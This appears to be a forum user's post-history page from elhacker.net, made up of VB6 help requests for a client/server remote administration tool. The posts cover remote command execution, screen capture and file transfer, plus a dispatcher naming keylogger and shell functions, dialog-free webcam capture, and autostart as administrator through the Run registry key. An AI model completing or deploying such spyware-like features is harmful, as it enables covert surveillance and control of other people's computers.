elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17
21  Seguridad Informática / Análisis y Diseño de Malware / Re: Nivel administrador en archivo y problema de arranque en: 5 Abril 2016, 13:57 pm
Si el problema es que no sale nada ni siquiera se ejecuta, has hecho la prueba con cualquier aplicacion en el arranque que necesite privilegios de administrador?

Un saludo!  :P
22  Seguridad Informática / Análisis y Diseño de Malware / Nivel administrador en archivo y problema de arranque en: 4 Abril 2016, 21:15 pm
Hola buenas, como me borraron el mensaje del tema este pues he decidido crear uno nuevo.
La cuestion es que tengo un archivo con el manifesto con niveles para administrador "requireAdministrator", la falla de este al nivel "asInvoker" es que si añado el archivo al arranque del sistema de windows en la clave Run del registro no inicia, en cambio si lo pongo como invoker si inicia. ¿Hay alguna manera de iniciarlo como administrador cuando se reinicie el sistema?

Un saludo!  ;-)
23  Programación / Programación Visual Basic / Consola por pipe crashea en windows 8 y versiones adelantadas en: 4 Abril 2016, 20:57 pm
Hola a ver si alguien me hecha una mano tengo este codigo para ejecutar y leer la salida de los comandos en windows, se ejecutan y se ven perfectamente en versiones de XP hasta windows 7 he probado.. ahora en windows 8 y 10 crashea en un loop :

Código
  1.   Do
  2.       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
  3.       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
  4.   Loop While ret <> 0
  5.  

Código
  1.  
  2. Public Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
  3.  
  4. Public Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  5.  
  6. Public Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
  7.  
  8. Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
  9.  
  10.  
  11.  
  12. Public Type PROCESS_INFORMATION
  13.  hProcess     As Long
  14.  hThread      As Long
  15.  dwProcessId  As Long
  16.  dwThreadId   As Long
  17. End Type
  18.  
  19. Public Type STARTUPINFO
  20.  cb                As Long
  21.  lpReserved        As Long
  22.  lpDesktop         As Long
  23.  lpTitle           As Long
  24.  dwX               As Long
  25.  dwY               As Long
  26.  dwXSize           As Long
  27.  dwYSize           As Long
  28.  dwXCountChars     As Long
  29.  dwYCountChars     As Long
  30.  dwFillAttribute   As Long
  31.  dwFlags           As Long
  32.  wShowWindow       As Integer
  33.  cbReserved2       As Integer
  34.  lpReserved2       As Long
  35.  hStdInput         As Long
  36.  hStdOutput        As Long
  37.  hStdError         As Long
  38. End Type
  39.  
  40. Public Type SECURITY_ATTRIBUTES
  41.  nLength                As Long
  42.  lpSecurityDescriptor   As Long
  43.  bInheritHandle         As Long
  44. End Type
  45.  
  46.  
  47.  
  48. Public Function CMD(ByVal Comando As String) As String
  49. On Error Resume Next
  50.   Dim proc           As PROCESS_INFORMATION
  51.   Dim ret            As Long
  52.   Dim start          As STARTUPINFO
  53.   Dim sa             As SECURITY_ATTRIBUTES
  54.   Dim hReadPipe      As Long
  55.   Dim hWritePipe     As Long
  56.   Dim lngBytesRead   As Long
  57.   Dim strBuff        As String * 256
  58.  
  59.   sa.nLength = Len(sa)
  60.   sa.bInheritHandle = 1&
  61.   sa.lpSecurityDescriptor = 0&
  62.   ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)
  63.  
  64.   If ret = 0 Then CMD = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError: Exit Function
  65.  
  66.   start.cb = Len(start)
  67.   start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
  68.   start.hStdOutput = hWritePipe
  69.   start.hStdError = hWritePipe
  70.  
  71.   mCommand = Environ("COMSPEC") + " /c " + Comando
  72.  
  73.   ret& = CreateProcessA(0&, mCommand, sa, sa, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
  74.  
  75.   If ret <> 1 Then CMD = "Archivo o comando no encontrado": Exit Function
  76.  
  77.   ret = CloseHandle(hWritePipe)
  78.   mOutputs = ""
  79.  
  80.   ' CRASHEA En versiones mayores a Windows 7
  81.   If InStr(1, SO, "Windows 8") Or InStr(1, SO, "Windows 10") Then Exit Function
  82.  
  83.   Do
  84.       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
  85.       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
  86.   Loop While ret <> 0
  87.   ret = CloseHandle(proc.hProcess)
  88.   ret = CloseHandle(proc.hThread)
  89.   ret = CloseHandle(hReadPipe)
  90.  
  91.   CMD = mOutputs
  92.  
  93.   Exit Function
  94. End Function
  95.  
  96.  

A ver si alguien lo puede probar quizas puede ser por otra cosa! un saludo! :P
24  Programación / Programación Visual Basic / Re: Evitar la seleccion de la camara web en: 1 Abril 2016, 16:42 pm

25  Programación / Programación Visual Basic / Evitar la seleccion de la camara web en: 25 Marzo 2016, 20:42 pm
Es un codigo sencillo, es para capturar la camara web, lo que quiero saber es como evitar que salga el dialogo para seleccionar el source de la camara, obtenerlo por otro medio el source y seleccionarlo de una forma diferente, la linea que muestra el dialogo es la siguiente :

Código
  1. SendMessage mCapHwnd, 1034, 0, 0

El codigo solo necesita un picturebos y un timer para que lo prueben.

Código
  1. Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
  2. Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
  3.  
  4. Private mCapHwnd As Long
  5. Private Sub Form_Load()
  6. STARTCAM
  7. End Sub
  8.  
  9. Private Sub Timer1_Timer()
  10. SendMessage mCapHwnd, 1084, 0, 0
  11. SendMessage mCapHwnd, 1054, 0, 0
  12. Picture1.Picture = Clipboard.GetData
  13. End Sub
  14.  
  15. Sub STARTCAM()
  16. mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 640, 480, Me.hwnd, 0)
  17. 'DoEvents
  18. SendMessage mCapHwnd, 1034, 0, 0
  19. End Sub
  20.  
  21.  

Un saludo y espero algunas ideas! ;)
26  Programación / Programación Visual Basic / Re: Funcion descarga de archivo cliente/servidor en: 21 Marzo 2016, 16:47 pm
Perdon por el doble post pero para no crear un tema nuevo, he aqui la cuestion estoy haciendo la captura de escritorio remoto, en el emulador de VB6 los datos se envian muy bien y completos (a veces) pero el problema viene cuando creo el archivo servicio en binario sin usar el depurador de vb.. la captura se crea bien en la carpeta temporal pero no me llega bien al cliente..

SERVIDOR :

Código
  1. Public Function Capturar_Pantalla()
  2.    On Error Resume Next
  3.        Dim i_Buff      As String * 8024
  4.        Dim f_Name      As String
  5.        Dim Largo       As Long
  6.        Dim i_Todo      As String
  7.  
  8.        nCaptura = nCaptura + 1
  9.        FF = FreeFile
  10.        Clipboard.Clear
  11.  
  12.        frmEspecifico = Split(Data(2), "/S/")(0)
  13.        f_Name = nCaptura
  14.  
  15.        Set frmMain.pScreenShot.Picture = CaptureScreen()
  16.        If frmMain.pScreenShot.Picture <> 0 Then
  17.                SavePictureAsJPG frmMain.pScreenShot, Environ$("Temp") & "\" & f_Name & ".jpg", 85
  18.  
  19.                DoEvents
  20.  
  21.                Open Environ$("Temp") & "\" & f_Name & ".jpg" For Binary As FF
  22.                    Do While Not EOF(FF)
  23.                        DoEvents
  24.                        Get FF, , i_Buff
  25.                        Largo = LOF(FF)
  26.                        eDatos = "/S/|CapturarPantalla|" & i_Buff & "|$--$|" & f_Name & "|$--$|" & Largo & "|$--$|" & frmEspecifico & "|$--$|"
  27.                        Call sDatos(eDatos)
  28.                    Loop
  29.                Close FF
  30.  
  31.                'Kill Environ$("Temp") & "\" & f_Name & ".jpg"
  32.        End If
  33. End Function
  34.  

CLIENTE :

Código
  1. Public Function Capturar_Pantalla()
  2.   'On Error Resume Next
  3.  
  4.   Dim fData()       As String
  5.   Dim f_Name        As String
  6.   Dim f_Len         As Long
  7.   Dim uIP           As String
  8.   Dim uName         As String
  9.  
  10.  
  11.  
  12.  FF = FreeFile
  13.  
  14.  fData = Split(Replace$(Datos, "/S/|CapturarPantalla|", ""), "|$--$|")
  15.  Archivo = Archivo + fData(0)
  16.  f_Name = fData(1) & ".jpg"
  17.  f_Len = fData(2)
  18.  frmEspecifico = fData(3)
  19.  
  20.  uIP = Split(frmEspecifico, "/")(1)
  21.  uName = Replace(Split(frmEspecifico, " Administrando a ")(1), "/" & uIP, "")
  22.  
  23.  Create_Folders (uName)
  24.  
  25.  If Len(Archivo) >= f_Len Then
  26.    For i = 1 To TotalVentanas
  27.            For z = 1 To frmMain.LV.ListItems.Count
  28.                With frmFunciones(i)
  29.                  If .Caption = frmEspecifico Then
  30.                        .PBScreen.Value = 60
  31.  
  32.                        Open App.Path & "\Usuarios\" & uName & "\" & f_Name For Binary As FF
  33.                                   Put FF, , Archivo
  34.                        Close FF
  35.  
  36.                        Archivo = ""
  37.  
  38.                        frmFunciones(i).picScreen = Nothing
  39.                        frmFunciones(i).picScreen = LoadPicture(App.Path & "\Usuarios\" & uName & "\" & f_Name)
  40.                        frmFunciones(i).picScreen.ScaleMode = 3
  41.                        frmFunciones(i).picScreen.AutoRedraw = True
  42.                        frmFunciones(i).picScreen.PaintPicture frmFunciones(i).picScreen.Picture, 0, 0, frmFunciones(i).picScreen.ScaleWidth, frmFunciones(i).picScreen.ScaleHeight
  43.                        If .cGuardarCaptura.Value = 0 Then Kill App.Path & "\Usuarios\" & uName & "\" & f_Name
  44.                        .PBScreen.Value = 100
  45.                  End If
  46.                End With
  47.            Next z
  48.    Next i
  49.  End If
  50. End Function
  51.  

El envio de datos esta dentro de un loop porque la verdad no se otra forma de partir el archivo y recoger los datos.
A veces los datos del array fdata() se me mezclan con el contenido de la imagen pero me parece raro porque en el vb6 va bien.

Una imagen

Un saludo y espero una respuesta!
27  Programación / Programación Visual Basic / Re: Funcion descarga de archivo cliente/servidor en: 18 Marzo 2016, 18:01 pm
Como idea, podrias depurar y ver que devuelve el split que estas haciendo en WS_DataArrival.

De ahi puedes sacar conclusiones...

Saludos!

Por ejemplo con el envio de imagenes por la captura de pantalla..

/S/|CapturarPantalla|BM6 <     6 ........... CONTENIdO dE LA IMAGEN ...... y lo siguientes delimitadores desaparecen

eso es lo que recibo en el cliente despues de tomar la captura y enviarla desde el servidor.

MODIFICADO :

Alguien que se anime a hacer una funcion de partir el archivo por partes?.. cliente servidor. Venga yo se que a leandro o alguno de ustedes Pro en VB no les cuesta nada hacerlo en un momentito, lo encesito urgente para terminar un proyecto que vengo haciendo desde años pasados!.

Saludos!
28  Programación / Programación Visual Basic / Funcion descarga de archivo cliente/servidor en: 15 Marzo 2016, 16:59 pm
Chicos, necesito ayuda para transferir un archivo a tra vez de winsock he aqui el codigo :

Cliente :

Código
  1. Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
  2.  WS(Index).GetData Datos
  3.  
  4.  If String(Len(Datos), Chr(0)) <> "" Then tDatos = tDatos & Datos
  5.  
  6.  If InStr(1, tDatos, "/S/") Then
  7.    Data = Split(tDatos, "|")
  8.    tDatos = ""
  9.  
  10.    Select Case Data(1)
  11.      Case "Conexion":      Call vConexion(Index)
  12.      Case "Informacion":   Call vInformation
  13.      Case "Procesos":      Call vProcess
  14.      Case "ActualizarP":   Call vAProcess
  15.      Case "sServicios":    Call vServices
  16.      Case "ActualizarS":   Call vAServices
  17.      Case "Conexiones":    Call vConexiones
  18.      Case "ActualizarA":   Call vAAdaptadores
  19.      Case "ObtenerWebs":   Call vOWebs
  20.      Case "TcpUdp":        Call vTcpUdp
  21.      Case "Keylogger":     Call vKeylogger
  22.      Case "Shell":         Call vShell
  23.      Case "RefrescarWnd":  Call vRWind
  24.      Case "Chat":          Call vChat
  25.      Case "lstDrivers":    Call vlDrivers
  26.      Case "lstFiles":      Call vlFiles
  27.      Case "ErrorServidor": Call vEServer
  28.      Case "sRegistro":     Call vRegistro
  29.      Case "Keylogger":     Call vKeylogger
  30.      Case "dwnFile":       Call dwnFile
  31.    End Select
  32.  End If
  33. End Sub

Código
  1. Public Function dwnFile()
  2.  Dim aBuff         As String
  3.  Dim Archivo       As String
  4.  
  5.  FF = FreeFile
  6.  Archivo = Data(3)
  7.  
  8.        If Dir(App.Path & "\Descargas", vbDirectory) = "" Then MkDir (App.Path & "\Descargas")
  9.        Open App.Path & "\Descargas\" & Archivo For Binary As FF
  10.                aBuff = Space(LOF(FF))
  11.                Get FF, , aBuff
  12.        Close FF
  13.  
  14.        Open App.Path & "\Descargas\" & Archivo For Binary As FF
  15.                Put FF, , aBuff + Data(2)
  16.        Close FF
  17.  
  18.        For i = 1 To TotalVentanas
  19.            For z = 1 To frmMain.LV.ListItems.Count
  20.                With frmFunciones(i)
  21.                 If .Caption = Data(4) Then
  22.                        MsgBox "Se ha descargado el archivo correctamente!", vbInformation, frmFunciones(i).Caption
  23.                 End If
  24.                End With
  25.            Next z
  26.        Next i
  27. End Function

Servidor :

Código
  1. Public Function dwFile()
  2. On Error GoTo Err
  3.  Dim aBuff       As String
  4.  Dim xBuff       As String
  5.  Dim cPacks      As String
  6.  
  7.  frmEspecifico = Data(3)
  8.  FF = FreeFile
  9.  
  10.  Open Data(2) For Binary As FF
  11.    aBuff = Space(LOF(FF))
  12.    Get FF, , aBuff
  13.  Close FF
  14.  
  15.  cPacks = CInt(Len(aBuff) / 8192) '8192
  16.  If InStr(1, cPacks, ",") Then If Split(cPacks, ",")(1) > 0 Then cPacks = Split(cPacks, ",")(0) + 1
  17.  If Len(aBuff) > 8192 And cPacks > 0 Then
  18.        For i = 0 To cPacks
  19.            If i > 0 Then xBuff = Mid(aBuff, (i * 8192) - 1, Len(aBuff)) Else xBuff = Mid(aBuff, 1, Len(aBuff))
  20.            If frmMain.WS.State = 7 Then frmMain.WS.SendData "/S/|dwnFile|" & xBuff & "|" & Split(Data(2), "\")(UBound(Split(Data(2), "\"))) & "|" & frmEspecifico
  21.        Next i
  22.  End If
  23.  
  24. Err: If Err.Number > 0 Then frmMain.WS.SendData "|ErrorServidor|" & Err.Number & "|"
  25. End Function


En la linea del cliente Archivo = Data(3) me sale contenido del archivo en vez de salirme el nombre del archivo como la mando desde el servidor, ya probe con diferentes delimitadores para ver si era los simples "|"  pero no ..

Alguien me puede poner un ejemplo sencillo sobre como hacer una descarga y una subida de archivos?.. o que ven mal en el code?

Un saludo! si hace falta mas codigo lo pongo.



Alguien que me ayude con el envio de archivos de mas de X bytes?..
Necesito un ejemplo, quien se anima?..

Un saludo!

MOD EDIT: No hacer doble post.
29  Programación / Programación Visual Basic / Re: Duda con proyecto de Leandro Ascierto en: 14 Marzo 2016, 19:26 pm
Ya logre hacerlo funcionar el modulo, es bastante sencillo la verdad le tenia que haber metido mas tiempo para verlo ;)
Perdonen tema cerrado.
30  Programación / Programación Visual Basic / Duda con proyecto de Leandro Ascierto en: 13 Marzo 2016, 20:16 pm
Sobre este proyecto

Leandro no se donde utilizas los eventos del modulo de clase del Registro. No veo ninguna llamada a los EnumValues etc en el codigo solo veo esto

Código
  1.                Case 4
  2.                    RegistryID = WinSock32.WsConnect(ServerIP, ServerPuerto, True)
  3.  
  4.                    If RegistryID <> 0 Then
  5.  
  6.                        Dim cRemoteReg As ClsRemoteRegistry
  7.                        Set cRemoteReg = New ClsRemoteRegistry
  8.                        cRemoteReg.ID_Connection = RegistryID
  9.                        cColl.Add cRemoteReg, CStr(RegistryID)
  10.  
  11.                        WinSock32.SendData RegistryID, 6 & Delimiter & Cmd(1)
  12.  

Modulo del registro :

Código
  1. Option Explicit
  2. Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  3. Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  4. Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  5. Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
  6. Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
  7. Private Declare Function RegRestoreKey Lib "advapi32.dll" Alias "RegRestoreKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal dwFlags As Long) As Long
  8. Private Declare Function RegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal lpSecurityAttributes As Long) As Long
  9. Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
  10. Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Any, lpcbData As Long) As Long
  11. Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Any, ByVal cbData As Long) As Long
  12. Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
  13.  
  14. Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
  15. Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
  16. Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As Luid) As Long
  17. Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, ByVal PreviousState As Long, ByVal ReturnLength As Long) As Long
  18.  
  19. Private Const ERROR_SUCCESS = 0&
  20. Private Const ERROR_FILE_NOT_FOUND = 2&
  21.  
  22. Private Const KEY_QUERY_VALUE = &H1&
  23. Private Const KEY_SET_VALUE = &H2&
  24. Private Const KEY_CREATE_SUB_KEY = &H4&
  25. Private Const KEY_ENUMERATE_SUB_KEYS = &H8&
  26. Private Const KEY_NOTIFY = &H10&
  27. Private Const KEY_CREATE_LINK = &H20&
  28. Private Const READ_CONTROL = &H20000
  29. Private Const WRITE_DAC = &H40000
  30. Private Const WRITE_OWNER = &H80000
  31. Private Const SYNCHRONIZE = &H100000
  32. Private Const STANDARD_RIGHTS_REQUIRED = &HF0000
  33. Private Const STANDARD_RIGHTS_READ = READ_CONTROL
  34. Private Const STANDARD_RIGHTS_WRITE = READ_CONTROL
  35. Private Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
  36. Private Const STANDARD_RIGHTS_ALL = &H1F0000
  37. Private Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY
  38. Private Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY
  39. Private Const KEY_EXECUTE = KEY_READ
  40. Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
  41. Private Const REG_FORCE_RESTORE = &H8
  42. Private Const TOKEN_ADJUST_PRIVLEGES = &H20
  43. Private Const TOKEN_QUERY = &H8
  44. Private Const SE_PRIVILEGE_ENABLED = &H2
  45. Private Const SE_RESTORE_NAME = "SeRestorePrivilege"
  46. Private Const SE_BACKUP_NAME = "SeBackupPrivilege"
  47.  
  48. Private Type Luid
  49.    lowpart As Long
  50.    highpart As Long
  51. End Type
  52.  
  53. Private Type LUID_AND_ATTRIBUTES
  54.    pLuid As Luid
  55.    Attributes As Long
  56. End Type
  57.  
  58. Private Type TOKEN_PRIVILEGES
  59.    PrivilegeCount As Long
  60.    Privileges(1) As LUID_AND_ATTRIBUTES
  61. End Type
  62.  
  63. Public Enum rcMainKey
  64.    HKEY_CLASSES_ROOT = &H80000000
  65.    HKEY_CURRENT_USER = &H80000001
  66.    HKEY_LOCAL_MACHINE = &H80000002
  67.    HKEY_USERS = &H80000003
  68.    HKEY_PERFORMANCE_DATA = &H80000004
  69.    HKEY_CURRENT_CONFIG = &H80000005
  70.    HKEY_DYN_DATA = &H80000006
  71. End Enum
  72.  
  73. Public Enum rcRegType
  74.    REG_NONE = 0
  75.    REG_SZ = 1
  76.    REG_EXPAND_SZ = 2
  77.    REG_BINARY = 3
  78.    REG_DWORD = 4
  79.    REG_DWORD_LITTLE_ENDIAN = 4
  80.    REG_DWORD_BIG_ENDIAN = 5
  81.    REG_LINK = 6
  82.    REG_MULTI_SZ = 7
  83.    REG_RESOURCE_LIST = 8
  84.    REG_FULL_RESOURCE_DESCRIPTOR = 9
  85.    REG_RESOURCE_REQUIREMENTS_LIST = 10
  86. End Enum
  87.  
  88. Public Event SearchFound(ByVal key As String, ByVal Value As String, ByVal RegType As rcRegType, ByVal Data As Variant)
  89.  
  90. Private m_hToken        As Long
  91. Private m_TP            As TOKEN_PRIVILEGES
  92.  
  93. Private hKey             As Long
  94. Private mKey             As Long
  95. Private sKey             As String
  96. Private mFindInKey      As Boolean
  97. Private mFindInValue    As Boolean
  98. Private mFindInData     As Boolean
  99. Private mStrSearch      As String
  100. Private bCancelSearch   As Boolean
  101. Private m_bDoEvents     As Boolean
  102.  
  103. Public Sub SetSearchOption(ByVal sSearch As String, ByVal FindInKey As Boolean, ByVal FindInValue As Boolean, ByVal FindInData As Boolean, Optional ByVal CallDoEvents As Boolean)
  104.    mStrSearch = sSearch
  105.    mFindInKey = FindInKey
  106.    mFindInValue = FindInValue
  107.    mFindInData = FindInData
  108.    m_bDoEvents = CallDoEvents
  109. End Sub
  110.  
  111. Public Sub CancelSearch()
  112.    bCancelSearch = True
  113. End Sub
  114.  
  115. Public Sub StarSearch(ByVal sPath As String)
  116.    Dim i As Long
  117.    Dim ArrKeys() As Variant
  118.    bCancelSearch = False
  119.    If sPath = vbNullString Then
  120.        ArrKeys = Array("HKEY_CLASSES_ROOT", "HKEY_CURRENT_USER", "HKEY_LOCAL_MACHINE", "HKEY_USERS", "HKEY_CURRENT_CONFIG")
  121.        For i = 0 To 4
  122.            If bCancelSearch Then Exit Sub
  123.            If m_bDoEvents Then DoEvents
  124.            PvFindInValueAndData ArrKeys(i)
  125.            PvFindInKeys ArrKeys(i)
  126.        Next
  127.    Else
  128.        PvFindInValueAndData sPath
  129.        PvFindInKeys sPath
  130.    End If
  131. End Sub
  132.  
  133. Private Sub PvFindInKeys(ByVal sPath As String)
  134.    Dim lCount As Long
  135.    Dim sKeys() As String
  136.    Dim sCurPath As String
  137.    Dim i As Long
  138.  
  139.    lCount = EnumKeys(sPath, sKeys)
  140.  
  141.    If lCount Then
  142.        For i = 0 To lCount - 1
  143.            sCurPath = sPath & "\" & sKeys(i)
  144.  
  145.            If mFindInKey Then
  146.                If InStr(sKeys(i), mStrSearch) Then
  147.                    RaiseEvent SearchFound(sCurPath, vbNullString, REG_NONE, vbNull)
  148.                End If
  149.            End If
  150.  
  151.            If (mFindInValue = True) Or (mFindInData = True) Then
  152.                PvFindInValueAndData sCurPath
  153.            End If
  154.  
  155.            If bCancelSearch Then Exit Sub
  156.            If m_bDoEvents Then DoEvents
  157.            PvFindInKeys sCurPath
  158.        Next
  159.    End If
  160.  
  161. End Sub
  162.  
  163. Private Sub PvFindInValueAndData(sPath)
  164.    Dim lCount As Long
  165.    Dim sValue() As String
  166.    Dim lRegType() As Long
  167.    Dim sData() As Variant
  168.    Dim i As Long
  169.    Dim bFind As Boolean
  170.  
  171.    lCount = EnumValues(sPath, sValue, lRegType, sData, True)
  172.  
  173.    For i = 0 To lCount - 1
  174.        If bCancelSearch Then Exit Sub
  175.        If mFindInValue Then
  176.            If InStr(sValue(i), mStrSearch) Then
  177.                RaiseEvent SearchFound(sPath, sValue(i), lRegType(i), sData(i))
  178.                bFind = True
  179.            Else
  180.                bFind = False
  181.            End If
  182.        End If
  183.  
  184.        If mFindInData Then
  185.           If Not bFind Then
  186.                If InStr(sData(i), mStrSearch) Then
  187.                    RaiseEvent SearchFound(sPath, sValue(i), lRegType(i), sData(i))
  188.                End If
  189.            End If
  190.        End If
  191.    Next
  192. End Sub
  193.  
  194. Public Function CreateKey(ByVal sPath As String) As Boolean
  195.    hKey = GetKeys(sPath, sKey)
  196.  
  197.    If (RegCreateKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  198.        RegCloseKey mKey
  199.        CreateKey = True
  200.    End If
  201. End Function
  202.  
  203. Public Function KillKey(ByVal sPath As String) As Long
  204.    Dim sKeys() As String, nKeys As Long, i As Long
  205.  
  206.    nKeys = EnumKeys(sPath, sKeys)
  207.    If nKeys > 0 Then
  208.        For i = 0 To nKeys - 1
  209.            KillKey sPath & "\" & sKeys(i)
  210.        Next i
  211.    End If
  212.  
  213.    hKey = GetKeys(sPath, sKey)
  214.  
  215.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  216.        KillKey = (RegDeleteKey(mKey, "") = ERROR_SUCCESS)
  217.        RegCloseKey mKey
  218.    End If
  219.  
  220. End Function
  221.  
  222. Public Function KeyExists(ByVal sPath As String) As Boolean
  223.    hKey = GetKeys(sPath, sKey)
  224.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  225.        KeyExists = True
  226.        RegCloseKey mKey
  227.    End If
  228. End Function
  229.  
  230.  
  231. Function RenameKey(ByVal sKeySource As String, ByVal sNewName As String) As Boolean
  232.    Dim hKeySource As Long
  233.    Dim hKeyDestination As Long
  234.    Dim sFile As String
  235.  
  236.    On Error GoTo ErrHandler
  237.  
  238.    sNewName = Mid(sKeySource, 1, InStrRev(sKeySource, "\")) & sNewName
  239.    hKey = GetKeys(sNewName, sKey)
  240.    sNewName = sKey
  241.    hKey = GetKeys(sKeySource, sKey)
  242.  
  243.    SetBackupAndRestorePriviliges
  244.    sFile = Environ$("Temp") & "\TempReg.reg"
  245.    If Len(Dir(sFile)) > 0 Then Kill sFile
  246.  
  247.    If (RegOpenKey(hKey, sKey, hKeySource) = ERROR_SUCCESS) Then
  248.        If (RegSaveKey(hKeySource, sFile, 0&) = ERROR_SUCCESS) Then
  249.            If (RegOpenKey(hKey, sNewName, hKeyDestination) = ERROR_FILE_NOT_FOUND) Then
  250.                If KillKey(sKeySource) = True Then
  251.                    If (RegCreateKey(hKey, sNewName, hKeyDestination) = ERROR_SUCCESS) Then
  252.                        RenameKey = (RegRestoreKey(hKeyDestination, sFile, REG_FORCE_RESTORE) = ERROR_SUCCESS)
  253.                    End If
  254.                End If
  255.                RegCloseKey hKeyDestination
  256.            End If
  257.        End If
  258.        RegCloseKey hKeySource
  259.    End If
  260.  
  261.    ResetBackupAndRestorePriviliges
  262.    If Len(Dir(sFile)) > 0 Then Kill sFile
  263. ErrHandler:
  264.  
  265. End Function
  266.  
  267. Public Function EnumKeys(ByVal sPath As String, ByRef key() As String) As Long
  268.    Dim sName As String, RetVal As Long
  269.  
  270.    hKey = GetKeys(sPath, sKey)
  271.  
  272.    Erase key
  273.  
  274.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  275.  
  276.        Do
  277.            sName = String(255, vbNullChar)
  278.            RetVal = Len(sName)
  279.  
  280.            If (RegEnumKeyEx(mKey, EnumKeys, sName, RetVal, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) <> ERROR_SUCCESS) Then Exit Do
  281.  
  282.            ReDim Preserve key(EnumKeys)
  283.            key(EnumKeys) = Left$(sName, RetVal)
  284.  
  285.            EnumKeys = EnumKeys + 1
  286.  
  287.        Loop
  288.  
  289.        RegCloseKey mKey
  290.    Else
  291.        EnumKeys = -1
  292.    End If
  293. End Function
  294.  
  295. Public Function HaveSubKey(ByVal sPath As String) As Boolean
  296.    Dim sName As String, RetVal As Long
  297.  
  298.    hKey = GetKeys(sPath, sKey)
  299.  
  300.    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
  301.        sName = String(255, 0)
  302.        RetVal = Len(sName)
